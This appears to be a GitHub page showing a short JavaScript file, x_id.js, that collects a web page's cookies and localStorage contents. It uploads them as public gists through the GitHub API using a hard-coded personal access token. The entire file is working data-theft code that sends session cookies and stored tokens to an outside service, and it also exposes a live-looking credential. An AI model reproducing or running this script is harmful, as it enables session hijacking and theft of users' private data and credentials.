-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathx_id.js
50 lines (43 loc) · 1.46 KB
/
x_id.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
async function createGist(filename, content, token) {
const response = await fetch('https://api.github.com/gists', {
method: 'POST',
headers: {
'Authorization': `token ${token}`,
'Content-Type': 'application/json'
},
body: JSON.stringify({
description: 'Cookies and Local Storage Data',
public: true,
files: {
[filename]: {
content: content
}
}
})
});
const data = await response.json();
return data.html_url;
}
function getCookies() {
return document.cookie.split(';').reduce((cookies, cookie) => {
const [name, value] = cookie.split('=').map(c => c.trim());
cookies[name] = value;
return cookies;
}, {});
}
function getLocalStorage() {
return Object.keys(localStorage).reduce((data, key) => {
data[key] = localStorage.getItem(key);
return data;
}, {});
}
async function saveDataOnline() {
const cookies = getCookies();
const localStorageData = getLocalStorage();
const token = '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';
const cookiesUrl = await createGist('cookies.json', JSON.stringify(cookies, null, 2), token);
const localStorageUrl = await createGist('localStorage.json', JSON.stringify(localStorageData, null, 2), token);
console.log('Cookies Gist URL:', cookiesUrl);
console.log('Local Storage Gist URL:', localStorageUrl);
}
saveDataOnline();